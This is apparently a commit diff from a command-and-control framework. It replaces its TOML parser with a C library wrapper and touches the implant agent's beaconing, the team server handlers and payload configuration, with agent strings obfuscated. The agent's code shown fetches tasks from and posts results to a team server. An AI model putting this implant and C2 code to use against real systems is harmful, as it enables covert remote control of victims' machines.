Updated to TOML v1.0.0.
This commit is contained in:
@@ -1,6 +1,5 @@
|
||||
import parsetoml
|
||||
import ../utils/io
|
||||
import ../../common/[types, utils, crypto, serialize]
|
||||
import ../../common/[types, utils, crypto, profile, serialize]
|
||||
|
||||
const CONFIGURATION {.strdefine.}: string = ""
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import httpclient, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
|
||||
import httpclient, strformat, strutils, asyncdispatch, base64, tables, random
|
||||
import ../utils/io
|
||||
import ../../common/[types, utils, profile]
|
||||
|
||||
@@ -11,8 +11,8 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
var body: string = ""
|
||||
|
||||
# Define request headers, as defined in profile
|
||||
for header, value in ctx.profile.getTable(protect("http-get.agent.headers")):
|
||||
client.headers.add(header, value.getStringValue())
|
||||
for header in ctx.profile.getTableKeys(protect("http-get.agent.headers")):
|
||||
client.headers.add(header.key, header.value.getStringValue())
|
||||
|
||||
# Select a random endpoint to make the request to
|
||||
var endpoint = ctx.profile.getString(protect("http-get.endpoints"))
|
||||
@@ -32,8 +32,8 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
discard
|
||||
|
||||
# Define additional request parameters
|
||||
for param, value in ctx.profile.getTable(protect("http-get.agent.parameters")):
|
||||
endpoint &= fmt"{param}={value.getStringValue()}&"
|
||||
for param in ctx.profile.getTableKeys(protect("http-get.agent.parameters")):
|
||||
endpoint &= fmt"{param.key}={param.value.getStringValue()}&"
|
||||
|
||||
try:
|
||||
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
||||
@@ -68,8 +68,8 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
||||
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-post.user-agent")))
|
||||
|
||||
# Define request headers, as defined in profile
|
||||
for header, value in ctx.profile.getTable(protect("http-post.agent.headers")):
|
||||
client.headers.add(header, value.getStringValue())
|
||||
for header in ctx.profile.getTableKeys(protect("http-post.agent.headers")):
|
||||
client.headers.add(header.key, header.value.getStringValue())
|
||||
|
||||
# Select a random endpoint to make the request to
|
||||
var endpoint = ctx.profile.getString(protect("http-post.endpoints"))
|
||||
@@ -95,8 +95,8 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
||||
discard
|
||||
|
||||
# Define additional request parameters
|
||||
for param, value in ctx.profile.getTable(protect("http-post.agent.parameters")):
|
||||
endpoint &= fmt"{param}={value.getStringValue()}&"
|
||||
for param in ctx.profile.getTableKeys(protect("http-post.agent.parameters")):
|
||||
endpoint &= fmt"{param.key}={param.value.getStringValue()}&"
|
||||
|
||||
try:
|
||||
# Send post request to team server
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -1,10 +1,10 @@
|
||||
import whisky
|
||||
import tables, times, strutils, strformat, json, parsetoml, base64, native_dialogs
|
||||
import tables, times, strutils, strformat, json, base64, native_dialogs
|
||||
import ./utils/[appImGui, globals]
|
||||
import ./views/[dockspace, sessions, listeners, eventlog, console]
|
||||
import ./views/loot/[screenshots, downloads]
|
||||
import ./views/modals/generatePayload
|
||||
import ../common/[types, utils, crypto]
|
||||
import ../common/[types, utils, profile, crypto]
|
||||
import ./core/websocket
|
||||
|
||||
proc main(ip: string = "localhost", port: int = 37573) =
|
||||
@@ -85,7 +85,7 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
||||
wipeKey(clientKeyPair.privateKey)
|
||||
|
||||
of CLIENT_PROFILE:
|
||||
profile = parsetoml.parseString(event.data["profile"].getStr())
|
||||
profile = parseString(event.data["profile"].getStr())
|
||||
|
||||
of CLIENT_LISTENER_ADD:
|
||||
let listener = event.data.to(UIListener)
|
||||
|
||||
@@ -57,7 +57,7 @@ proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: u
|
||||
Elliptic curve cryptography ensures that the actual session key is never sent over the network
|
||||
Private keys and shared secrets are wiped from agent memory as soon as possible
|
||||
]#
|
||||
{.compile: "monocypher/monocypher.c".}
|
||||
{.compile: protect("monocypher/monocypher.c").}
|
||||
|
||||
# C function imports from (monocypher/monocypher.c)
|
||||
proc crypto_x25519*(shared_secret: ptr byte, your_secret_key: ptr byte, their_public_key: ptr byte) {.importc, cdecl.}
|
||||
|
||||
@@ -1,25 +1,17 @@
|
||||
import parsetoml, strutils, sequtils, random, base64
|
||||
|
||||
import strutils, sequtils, random, base64
|
||||
import ./[types, utils]
|
||||
|
||||
proc findKey(profile: Profile, path: string): TomlValueRef =
|
||||
let keys = path.split(".")
|
||||
let target = keys[keys.high]
|
||||
|
||||
var current = profile
|
||||
for i in 0 ..< keys.high:
|
||||
let temp = current.getOrDefault(keys[i])
|
||||
if temp == nil:
|
||||
return nil
|
||||
current = temp
|
||||
|
||||
return current.getOrDefault(target)
|
||||
import ./toml/toml
|
||||
export parseFile, parseString, free, getTableKeys, getRandom
|
||||
|
||||
# Takes a specific "."-separated path as input and returns a default value if the key does not exits
|
||||
# Example: cq.profile.getString("http-get.agent.heartbeat.prefix", "not found") returns the string value of the
|
||||
# prefix key, or "not found" if the target key or any sub-tables don't exist
|
||||
# '#' characters represent wildcard characters and are replaced with a random alphanumerical character
|
||||
# '#' characters represent wildcard characters and are replaced with a random alphanumerical character (a-zA-Z0-9)
|
||||
# '$' characters are replaced with a random number (0-9)
|
||||
|
||||
#[
|
||||
Helper functions
|
||||
]#
|
||||
proc randomChar(): char =
|
||||
let alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
return alphabet[rand(alphabet.len - 1)]
|
||||
@@ -33,48 +25,53 @@ proc getRandom*(values: seq[TomlValueRef]): TomlValueRef =
|
||||
return nil
|
||||
return values[rand(values.len - 1)]
|
||||
|
||||
#[
|
||||
Wrapper functions
|
||||
]#
|
||||
proc getStringValue*(key: TomlValueRef, default: string = ""): string =
|
||||
# In some cases, the profile can define multiple values for a key, e.g. for HTTP headers
|
||||
# A random entry is selected from these specifications
|
||||
var value: string = ""
|
||||
if key.kind == TomlValueKind.String:
|
||||
value = key.getStr(default)
|
||||
elif key.kind == TomlValueKind.Array:
|
||||
value = key.getElems().getRandom().getStr(default)
|
||||
if key.isNil or key.kind == None:
|
||||
return default
|
||||
|
||||
# Replace '#' with a random alphanumerical character and return the resulting string
|
||||
var value: string = ""
|
||||
if key.kind == String:
|
||||
value = key.strVal
|
||||
elif key.kind == Array:
|
||||
let randomElem = getRandom(key.arrayVal)
|
||||
if randomElem != nil and randomElem.kind == String:
|
||||
value = randomElem.strVal
|
||||
|
||||
# Replace '#' with random alphanumerical character
|
||||
return value.mapIt(if it == '#': randomChar() elif it == '$': randomNumber() else: it).join("")
|
||||
|
||||
proc getString*(profile: Profile, path: string, default: string = ""): string =
|
||||
proc getString*(profile: Profile, path: string, default: string = ""): string =
|
||||
let key = profile.findKey(path)
|
||||
if key == nil:
|
||||
return default
|
||||
return key.getStringValue(default)
|
||||
|
||||
proc getBool*(profile: Profile, path: string, default: bool = false): bool =
|
||||
proc getInt*(profile: Profile, path: string, default: int = 0): int =
|
||||
let key = profile.findKey(path)
|
||||
if key == nil:
|
||||
return default
|
||||
return key.getBool(default)
|
||||
|
||||
proc getInt*(profile: Profile, path: string, default = 0): int =
|
||||
let key = profile.findKey(path)
|
||||
if key == nil:
|
||||
return default
|
||||
return key.getInt(default)
|
||||
|
||||
proc getTable*(profile: Profile, path: string): TomlTableRef =
|
||||
proc getBool*(profile: Profile, path: string, default: bool = false): bool =
|
||||
let key = profile.findKey(path)
|
||||
return key.getBool(default)
|
||||
|
||||
proc getTable*(profile: Profile, path: string): TomlTableRef =
|
||||
let key = profile.findKey(path)
|
||||
if key == nil:
|
||||
return new TomlTableRef
|
||||
return key.getTable()
|
||||
|
||||
proc getArray*(profile: Profile, path: string): seq[TomlValueRef] =
|
||||
let key = profile.findKey(path)
|
||||
if key == nil:
|
||||
if key.kind != Array:
|
||||
return @[]
|
||||
return key.getElems()
|
||||
return key.getElems()
|
||||
|
||||
proc isArray*(profile: Profile, path: string): bool =
|
||||
let key = profile.findKey(path)
|
||||
return key.kind == Array
|
||||
|
||||
#[
|
||||
Data transformation
|
||||
]#
|
||||
proc applyDataTransformation*(profile: Profile, path: string, data: seq[byte]): string =
|
||||
# 1. Encoding
|
||||
var dataString: string
|
||||
|
||||
1983
src/common/toml/toml.c
Normal file
1983
src/common/toml/toml.c
Normal file
File diff suppressed because it is too large
Load Diff
137
src/common/toml/toml.h
Normal file
137
src/common/toml/toml.h
Normal file
@@ -0,0 +1,137 @@
|
||||
#ifndef TOML_H
|
||||
#define TOML_H
|
||||
#ifdef _MSC_VER
|
||||
# pragma warning(disable : 4996)
|
||||
#endif
|
||||
#ifdef __cplusplus
|
||||
# define TOML_EXTERN extern "C"
|
||||
#else
|
||||
# define TOML_EXTERN extern
|
||||
#endif
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
|
||||
typedef struct toml_table_t toml_table_t;
|
||||
typedef struct toml_array_t toml_array_t;
|
||||
typedef struct toml_value_t toml_value_t;
|
||||
typedef struct toml_timestamp_t toml_timestamp_t;
|
||||
typedef struct toml_keyval_t toml_keyval_t;
|
||||
typedef struct toml_arritem_t toml_arritem_t;
|
||||
typedef struct toml_pos_t toml_pos_t;
|
||||
|
||||
// TOML table.
|
||||
struct toml_table_t {
|
||||
const char* key; // Key for this table
|
||||
int keylen; // length of key.
|
||||
bool implicit; // Table was created implicitly
|
||||
bool readonly; // No more modification allowed
|
||||
|
||||
int nkval; // key-values in the table
|
||||
toml_keyval_t** kval;
|
||||
int narr; // arrays in the table
|
||||
toml_array_t** arr;
|
||||
int ntbl; // tables in the table
|
||||
toml_table_t** tbl;
|
||||
};
|
||||
|
||||
// TOML array.
|
||||
struct toml_array_t {
|
||||
const char* key; // key to this array
|
||||
int keylen; // length of key.
|
||||
int kind; // element kind: 'v'alue, 'a'rray, or 't'able, 'm'ixed
|
||||
int type; // for value kind: 'i'nt, 'd'ouble, 'b'ool, 's'tring, 't'ime, 'D'ate, 'T'imestamp, 'm'ixed
|
||||
int nitem; // number of elements
|
||||
toml_arritem_t* item;
|
||||
};
|
||||
struct toml_arritem_t {
|
||||
int valtype; // for value kind: 'i'nt, 'd'ouble, 'b'ool, 's'tring, 't'ime, 'D'ate, 'T'imestamp
|
||||
char* val;
|
||||
toml_array_t* arr;
|
||||
toml_table_t* tbl;
|
||||
};
|
||||
|
||||
// TOML key/value pair.
|
||||
struct toml_keyval_t {
|
||||
const char* key; // key to this value
|
||||
int keylen; // length of key.
|
||||
const char* val; // the raw value
|
||||
};
|
||||
|
||||
// Token position.
|
||||
struct toml_pos_t {
|
||||
int line;
|
||||
int col;
|
||||
};
|
||||
|
||||
// Timestamp type; some values may be empty depending on the value of kind.
|
||||
struct toml_timestamp_t {
|
||||
// datetime type:
|
||||
//
|
||||
// 'd'atetime Full date + time + TZ
|
||||
// 'l'local-datetime Full date + time but without TZ
|
||||
// 'D'ate-local Date only, without TZ
|
||||
// 't'ime-local Time only, without TZ
|
||||
char kind;
|
||||
|
||||
int year, month, day;
|
||||
int hour, minute, second, millisec;
|
||||
int tz; // Timezone offset in minutes
|
||||
};
|
||||
|
||||
// Parsed TOML value.
|
||||
//
|
||||
// The string value s is a regular NULL-terminated C string, but the string
|
||||
// length is also given in sl since TOML values may contain NULL bytes. The
|
||||
// value is guaranteed to be correct UTF-8.
|
||||
struct toml_value_t {
|
||||
bool ok; // Was this value present?
|
||||
union {
|
||||
struct {
|
||||
char* s; // string value; must be freed after use.
|
||||
int sl; // string length, excluding NULL.
|
||||
};
|
||||
toml_timestamp_t ts; // datetime
|
||||
bool b; // bool
|
||||
int64_t i; // int
|
||||
double d; // double
|
||||
} u;
|
||||
};
|
||||
|
||||
// toml_parse() parses a TOML document from a string. Returns 0 on error, with
|
||||
// the error message stored in errbuf.
|
||||
//
|
||||
// toml_parse_file() is identical, but reads from a file descriptor.
|
||||
//
|
||||
// Use toml_free() to free the return value; this will invalidate all handles
|
||||
// for this table.
|
||||
TOML_EXTERN toml_table_t* toml_parse(char* toml, char* errbuf, int errbufsz);
|
||||
TOML_EXTERN toml_table_t* toml_parse_file(FILE* fp, char* errbuf, int errbufsz);
|
||||
TOML_EXTERN void toml_free(toml_table_t* table);
|
||||
|
||||
// Table functions.
|
||||
//
|
||||
// toml_table_len() gets the number of direct keys for this table;
|
||||
// toml_table_key() gets the nth direct key in this table.
|
||||
TOML_EXTERN int toml_table_len(const toml_table_t* table);
|
||||
TOML_EXTERN const char* toml_table_key(const toml_table_t* table, int keyidx, int* keylen);
|
||||
TOML_EXTERN toml_value_t toml_table_string(const toml_table_t* table, const char* key);
|
||||
TOML_EXTERN toml_value_t toml_table_bool(const toml_table_t* table, const char* key);
|
||||
TOML_EXTERN toml_value_t toml_table_int(const toml_table_t* table, const char* key);
|
||||
TOML_EXTERN toml_value_t toml_table_double(const toml_table_t* table, const char* key);
|
||||
TOML_EXTERN toml_value_t toml_table_timestamp(const toml_table_t* table, const char* key);
|
||||
TOML_EXTERN toml_array_t* toml_table_array(const toml_table_t* table, const char* key);
|
||||
TOML_EXTERN toml_table_t* toml_table_table(const toml_table_t* table, const char* key);
|
||||
|
||||
// Array functions.
|
||||
TOML_EXTERN int toml_array_len(const toml_array_t* array);
|
||||
TOML_EXTERN toml_value_t toml_array_string(const toml_array_t* array, int idx);
|
||||
TOML_EXTERN toml_value_t toml_array_bool(const toml_array_t* array, int idx);
|
||||
TOML_EXTERN toml_value_t toml_array_int(const toml_array_t* array, int idx);
|
||||
TOML_EXTERN toml_value_t toml_array_double(const toml_array_t* array, int idx);
|
||||
TOML_EXTERN toml_value_t toml_array_timestamp(const toml_array_t* array, int idx);
|
||||
TOML_EXTERN toml_array_t* toml_array_array(const toml_array_t* array, int idx);
|
||||
TOML_EXTERN toml_table_t* toml_array_table(const toml_array_t* array, int idx);
|
||||
|
||||
#endif // TOML_H
|
||||
301
src/common/toml/toml.nim
Normal file
301
src/common/toml/toml.nim
Normal file
@@ -0,0 +1,301 @@
|
||||
import random, strutils
|
||||
|
||||
# Wrapper for the toml-c library
|
||||
# Original: github.com/arp242/toml-c/
|
||||
|
||||
{.compile: "toml.c".}
|
||||
|
||||
type
|
||||
TomlKeyVal = object
|
||||
key: cstring
|
||||
keylen: cint
|
||||
val: cstring
|
||||
|
||||
TomlArrItem = object
|
||||
valtype: cint
|
||||
val: cstring
|
||||
arr: ptr TomlArray
|
||||
tbl: ptr TomlTable
|
||||
|
||||
TomlTable = object
|
||||
key: cstring
|
||||
keylen: cint
|
||||
implicit: bool
|
||||
readonly: bool
|
||||
nkval: cint
|
||||
kval: ptr ptr TomlKeyVal
|
||||
narr: cint
|
||||
arr: ptr ptr TomlArray
|
||||
ntbl: cint
|
||||
tbl: ptr ptr TomlTable
|
||||
|
||||
TomlArray = object
|
||||
key: cstring
|
||||
keylen: cint
|
||||
kind: cint
|
||||
`type`: cint
|
||||
nitem: cint
|
||||
item: ptr TomlArrItem
|
||||
|
||||
TomlValue = object
|
||||
case ok: bool
|
||||
of false: discard
|
||||
of true:
|
||||
s: cstring
|
||||
sl: cint
|
||||
|
||||
TomlTableRef* = ptr TomlTable
|
||||
|
||||
TomlValueKind* = enum
|
||||
String, Int, Bool, Float, Table, Array, None
|
||||
|
||||
TomlValueRef* = ref object
|
||||
case kind*: TomlValueKind
|
||||
of String:
|
||||
strVal*: string
|
||||
of Int:
|
||||
intVal*: int64
|
||||
of Bool:
|
||||
boolVal*: bool
|
||||
of Float:
|
||||
floatVal*: float64
|
||||
of Table:
|
||||
tableVal*: TomlTableRef
|
||||
of Array:
|
||||
arrayVal*: ptr TomlArray
|
||||
of None:
|
||||
discard
|
||||
|
||||
# C library functions
|
||||
proc toml_parse(toml: cstring, errbuf: cstring, errbufsz: cint): TomlTableRef {.importc, cdecl.}
|
||||
proc toml_parse_file(fp: File, errbuf: cstring, errbufsz: cint): TomlTableRef {.importc, cdecl.}
|
||||
proc toml_free(tab: TomlTableRef) {.importc, cdecl.}
|
||||
proc toml_table_len(tab: TomlTableRef): cint {.importc, cdecl.}
|
||||
proc toml_table_key(tab: TomlTableRef, keyidx: cint, keylen: ptr cint): cstring {.importc, cdecl.}
|
||||
proc toml_table_string(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
|
||||
proc toml_table_int(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
|
||||
proc toml_table_bool(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
|
||||
proc toml_table_double(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
|
||||
proc toml_table_array(tab: TomlTableRef, key: cstring): ptr TomlArray {.importc, cdecl.}
|
||||
proc toml_table_table(tab: TomlTableRef, key: cstring): TomlTableRef {.importc, cdecl.}
|
||||
proc toml_array_len(arr: ptr TomlArray): cint {.importc, cdecl.}
|
||||
proc toml_array_table(arr: ptr TomlArray, idx: cint): TomlTableRef {.importc, cdecl.}
|
||||
proc toml_array_string(arr: ptr TomlArray, idx: cint): TomlValue {.importc, cdecl.}
|
||||
proc toml_array_int(arr: ptr TomlArray, idx: cint): TomlValue {.importc, cdecl.}
|
||||
|
||||
#[
|
||||
Retrieve a random element from a TOML array
|
||||
]#
|
||||
proc getRandom*(arr: ptr TomlArray): TomlValueRef =
|
||||
if arr.isNil:
|
||||
return nil
|
||||
|
||||
let n = toml_array_len(arr)
|
||||
if n == 0:
|
||||
return nil
|
||||
|
||||
let idx = rand(n.int - 1)
|
||||
|
||||
# String
|
||||
let strVal {.volatile.} = toml_array_string(arr, idx.cint)
|
||||
if strVal.ok:
|
||||
let strPtr = cast[ptr cstring](cast[int](addr strVal) + 8)[]
|
||||
if not strPtr.isNil:
|
||||
return TomlValueRef(kind: String, strVal: $strPtr)
|
||||
|
||||
# Table
|
||||
let table {.volatile.} = toml_array_table(arr, idx.cint)
|
||||
if not table.isNil:
|
||||
return TomlValueRef(kind: Table, tableVal: table)
|
||||
|
||||
# Int
|
||||
let intVal {.volatile.} = toml_array_int(arr, idx.cint)
|
||||
if intVal.ok:
|
||||
let intPtr = cast[ptr int64](cast[int](addr intVal) + 8)[]
|
||||
return TomlValueRef(kind: Int, intVal: intPtr)
|
||||
|
||||
return nil
|
||||
|
||||
#[
|
||||
Parse TOML string or configuration file
|
||||
]#
|
||||
proc parseString*(toml: string): TomlTableRef =
|
||||
var errbuf: array[200, char]
|
||||
|
||||
var tomlCopy = toml
|
||||
result = toml_parse(tomlCopy.cstring, cast[cstring](addr errbuf[0]), 200)
|
||||
|
||||
if result.isNil:
|
||||
raise newException(ValueError, "TOML parse error: " & $cast[cstring](addr errbuf[0]))
|
||||
|
||||
proc parseFile*(path: string): TomlTableRef =
|
||||
var errbuf: array[200, char]
|
||||
let fp = open(path, fmRead)
|
||||
if fp.isNil:
|
||||
raise newException(IOError, "Cannot open file: " & path)
|
||||
|
||||
result = toml_parse_file(fp, cast[cstring](addr errbuf[0]), 200)
|
||||
fp.close()
|
||||
|
||||
if result.isNil:
|
||||
raise newException(ValueError, "TOML parse error: " & $cast[cstring](addr errbuf[0]))
|
||||
|
||||
proc free*(table: TomlTableRef) =
|
||||
if not table.isNil:
|
||||
toml_free(table)
|
||||
|
||||
#[
|
||||
Takes a specific "."-separated path as input and returns the TOML Value that it finds
|
||||
]#
|
||||
proc findKey*(profile: TomlTableRef, path: string): TomlValueRef =
|
||||
if profile.isNil:
|
||||
return TomlValueRef(kind: None)
|
||||
|
||||
let keys = path.split(".")
|
||||
var current = profile
|
||||
|
||||
# Navigate through nested tables
|
||||
for i in 0 ..< keys.len - 1:
|
||||
let nextTable = toml_table_table(current, keys[i].cstring)
|
||||
if nextTable.isNil:
|
||||
return TomlValueRef(kind: None)
|
||||
current = nextTable
|
||||
|
||||
let finalKey = keys[^1].cstring
|
||||
|
||||
# Try different types
|
||||
# {.volatile.} is added to avoid dangling pointers
|
||||
block findStr:
|
||||
let val {.volatile.} = toml_table_string(current, finalKey)
|
||||
if val.ok:
|
||||
let strPtr = cast[ptr cstring](cast[int](addr val) + 8)[]
|
||||
if not strPtr.isNil:
|
||||
return TomlValueRef(kind: String, strVal: $strPtr)
|
||||
|
||||
block checkInt:
|
||||
let val {.volatile.} = toml_table_int(current, finalKey)
|
||||
if val.ok:
|
||||
let intPtr = cast[ptr int64](cast[int](addr val) + 8)[]
|
||||
return TomlValueRef(kind: Int, intVal: intPtr)
|
||||
|
||||
block checkBool:
|
||||
let val {.volatile.} = toml_table_bool(current, finalKey)
|
||||
if val.ok:
|
||||
let boolPtr = cast[ptr bool](cast[int](addr val) + 8)[]
|
||||
return TomlValueRef(kind: Bool, boolVal: boolPtr)
|
||||
|
||||
block checkDouble:
|
||||
let val {.volatile.} = toml_table_double(current, finalKey)
|
||||
if val.ok:
|
||||
let dblPtr = cast[ptr float64](cast[int](addr val) + 8)[]
|
||||
return TomlValueRef(kind: Float, floatVal: dblPtr)
|
||||
|
||||
block checkArray:
|
||||
let arr {.volatile.} = toml_table_array(current, finalKey)
|
||||
if not arr.isNil:
|
||||
return TomlValueRef(kind: Array, arrayVal: arr)
|
||||
|
||||
block checkTable:
|
||||
let table {.volatile.} = toml_table_table(current, finalKey)
|
||||
if not table.isNil:
|
||||
return TomlValueRef(kind: Table, tableVal: table)
|
||||
|
||||
return TomlValueRef(kind: None)
|
||||
|
||||
#[
|
||||
Retrieve the actual value from a TOML value
|
||||
]#
|
||||
proc getStr*(value: TomlValueRef, default: string = ""): string =
|
||||
if value.kind == String:
|
||||
return value.strVal
|
||||
return default
|
||||
|
||||
proc getInt*(value: TomlValueRef, default: int = 0): int =
|
||||
if value.kind == Int:
|
||||
return value.intVal.int
|
||||
return default
|
||||
|
||||
proc getBool*(value: TomlValueRef, default: bool = false): bool =
|
||||
if value.kind == Bool:
|
||||
return value.boolVal
|
||||
return default
|
||||
|
||||
proc getTable*(value: TomlValueRef): TomlTableRef =
|
||||
if value.kind == Table:
|
||||
return value.tableVal
|
||||
return nil
|
||||
|
||||
proc getElems*(value: TomlValueRef): seq[TomlValueRef] =
|
||||
if value.kind != Array:
|
||||
return @[]
|
||||
|
||||
let arr = value.arrayVal
|
||||
let n = toml_array_len(arr)
|
||||
result = @[]
|
||||
|
||||
for i in 0 ..< n:
|
||||
# Try table first
|
||||
let table {.volatile.} = toml_array_table(arr, i.cint)
|
||||
if not table.isNil:
|
||||
result.add(TomlValueRef(kind: Table, tableVal: table))
|
||||
continue
|
||||
|
||||
# Try string
|
||||
let strVal = toml_array_string(arr, i.cint)
|
||||
if strVal.ok:
|
||||
let strPtr {.volatile.} = cast[ptr cstring](cast[int](addr strVal) + 8)[]
|
||||
if not strPtr.isNil:
|
||||
result.add(TomlValueRef(kind: String, strVal: $strPtr))
|
||||
continue
|
||||
|
||||
# Try int
|
||||
let intVal = toml_array_int(arr, i.cint)
|
||||
if intVal.ok:
|
||||
let intPtr {.volatile.} = cast[ptr int64](cast[int](addr intVal) + 8)[]
|
||||
result.add(TomlValueRef(kind: Int, intVal: intPtr))
|
||||
|
||||
proc getTableKeys*(profile: TomlTableRef, path: string): seq[tuple[key: string, value: TomlValueRef]] =
|
||||
result = @[]
|
||||
let key = profile.findKey(path)
|
||||
let table = key.getTable()
|
||||
if table.isNil:
|
||||
return
|
||||
|
||||
let numKeys = toml_table_len(table)
|
||||
for i in 0 ..< numKeys:
|
||||
var keylen: cint
|
||||
let keyPtr = toml_table_key(table, i.cint, addr keylen)
|
||||
if keyPtr.isNil:
|
||||
continue
|
||||
|
||||
let key = $keyPtr
|
||||
let value = profile.findKey(path & "." & key)
|
||||
if value.kind != None:
|
||||
result.add((key: key, value: value))
|
||||
|
||||
proc getTableValue*(table: TomlTableRef, key: string): TomlValueRef =
|
||||
if table.isNil:
|
||||
return TomlValueRef(kind: None)
|
||||
|
||||
let ckey = key.cstring
|
||||
|
||||
block checkString:
|
||||
let val {.volatile.} = toml_table_string(table, ckey)
|
||||
if val.ok:
|
||||
let strPtr = cast[ptr cstring](cast[int](addr val) + 8)[]
|
||||
if not strPtr.isNil:
|
||||
return TomlValueRef(kind: String, strVal: $strPtr)
|
||||
|
||||
block checkInt:
|
||||
let val {.volatile.} = toml_table_int(table, ckey)
|
||||
if val.ok:
|
||||
let intPtr = cast[ptr int64](cast[int](addr val) + 8)[]
|
||||
return TomlValueRef(kind: Int, intVal: intPtr)
|
||||
|
||||
block checkBool:
|
||||
let val {.volatile.} = toml_table_bool(table, ckey)
|
||||
if val.ok:
|
||||
let boolPtr = cast[ptr bool](cast[int](addr val) + 8)[]
|
||||
return TomlValueRef(kind: Bool, boolVal: boolPtr)
|
||||
|
||||
return TomlValueRef(kind: None)
|
||||
@@ -1,10 +1,12 @@
|
||||
import tables
|
||||
import parsetoml, json
|
||||
import json
|
||||
import system
|
||||
import mummy
|
||||
when defined(client):
|
||||
import whisky
|
||||
|
||||
import ./toml/toml
|
||||
|
||||
# Custom Binary Task structure
|
||||
const
|
||||
MAGIC* = 0x514E3043'u32 # Magic value: C0NQ
|
||||
@@ -285,7 +287,7 @@ type
|
||||
privateKey*: Key
|
||||
publicKey*: Key
|
||||
|
||||
Profile* = TomlValueRef
|
||||
Profile* = TomlTableRef
|
||||
|
||||
WsConnection* = ref object
|
||||
when defined(server):
|
||||
@@ -300,6 +302,7 @@ type
|
||||
threads*: Table[string, Thread[Listener]]
|
||||
agents*: Table[string, Agent]
|
||||
keyPair*: KeyPair
|
||||
profileString*: string
|
||||
profile*: Profile
|
||||
client*: WsConnection
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import mummy, terminal, parsetoml, tables
|
||||
import strutils, strformat, base64
|
||||
import mummy, terminal
|
||||
import strutils, strformat
|
||||
|
||||
import ./handlers
|
||||
import ../globals
|
||||
@@ -81,8 +81,8 @@ proc httpGet*(request: Request) =
|
||||
|
||||
# Add headers, as defined in the team server profile
|
||||
var headers: HttpHeaders
|
||||
for header, value in cq.profile.getTable("http-get.server.headers"):
|
||||
headers.add((header, value.getStringValue()))
|
||||
for header in cq.profile.getTableKeys("http-get.server.headers"):
|
||||
headers.add((header.key, header.value.getStringValue()))
|
||||
|
||||
request.respond(200, headers = headers, body = payload)
|
||||
|
||||
@@ -129,8 +129,8 @@ proc httpPost*(request: Request) =
|
||||
|
||||
# Add response headers, as defined in team server profile
|
||||
var headers: HttpHeaders
|
||||
for header, value in cq.profile.getTable("http-post.server.headers"):
|
||||
headers.add((header, value.getStringValue()))
|
||||
for header in cq.profile.getTableKeys("http-post.server.headers"):
|
||||
headers.add((header.key, header.value.getStringValue()))
|
||||
|
||||
# Differentiate between registration and task result packet
|
||||
var unpacker = Unpacker.init(Bytes.toString(data))
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import terminal, strformat, strutils, sequtils, tables, system, osproc, streams, parsetoml
|
||||
import terminal, strformat, strutils, sequtils, tables, system, osproc, streams
|
||||
|
||||
import ../globals
|
||||
import ../core/[logger, websocket]
|
||||
@@ -38,7 +38,7 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: Sle
|
||||
packer.addData(cq.keyPair.publicKey)
|
||||
|
||||
# C2 profile
|
||||
packer.addDataWithLengthPrefix(string.toBytes(cq.profile.toTomlString()))
|
||||
packer.addDataWithLengthPrefix(string.toBytes(cq.profileString))
|
||||
|
||||
let data = packer.pack()
|
||||
packer.reset()
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
import strformat, strutils, terminal
|
||||
import strformat, strutils, terminal, tables
|
||||
import mummy, mummy/routers
|
||||
import parsetoml
|
||||
|
||||
import ../api/routes
|
||||
import ../db/database
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import times, json, base64, parsetoml, strformat
|
||||
import times, json, base64, strformat
|
||||
import stb_image/write as stbiw
|
||||
import ./logger
|
||||
import ../../common/[types, utils, event]
|
||||
@@ -46,12 +46,12 @@ proc sendPublicKey*(client: WsConnection, publicKey: Key) =
|
||||
if client != nil:
|
||||
client.ws.sendEvent(event, client.sessionKey)
|
||||
|
||||
proc sendProfile*(client: WsConnection, profile: Profile) =
|
||||
proc sendProfile*(client: WsConnection, profileString: string) =
|
||||
let event = Event(
|
||||
eventType: CLIENT_PROFILE,
|
||||
timestamp: now().toTime().toUnix(),
|
||||
data: %*{
|
||||
"profile": profile.toTomlString()
|
||||
"profile": profileString
|
||||
}
|
||||
)
|
||||
if client != nil:
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import mummy, mummy/routers
|
||||
import terminal, parsetoml, json, math, base64, times
|
||||
import terminal, json, math, base64, times
|
||||
import strutils, strformat, system, tables
|
||||
|
||||
import ./globals
|
||||
@@ -15,14 +15,15 @@ proc header() =
|
||||
echo "─".repeat(21)
|
||||
echo ""
|
||||
|
||||
proc init*(T: type Conquest, profile: Profile): Conquest =
|
||||
proc init*(T: type Conquest, profileString: string): Conquest =
|
||||
var cq = new Conquest
|
||||
cq.listeners = initTable[string, Listener]()
|
||||
cq.threads = initTable[string, Thread[Listener]]()
|
||||
cq.agents = initTable[string, Agent]()
|
||||
cq.profile = profile
|
||||
cq.keyPair = loadKeyPair(CONQUEST_ROOT & "/" & profile.getString("private-key-file"))
|
||||
cq.dbPath = CONQUEST_ROOT & "/" & profile.getString("database-file")
|
||||
cq.profileString = profileString
|
||||
cq.profile = parseString(profileString)
|
||||
cq.keyPair = loadKeyPair(CONQUEST_ROOT & "/" & cq.profile.getString("private-key-file"))
|
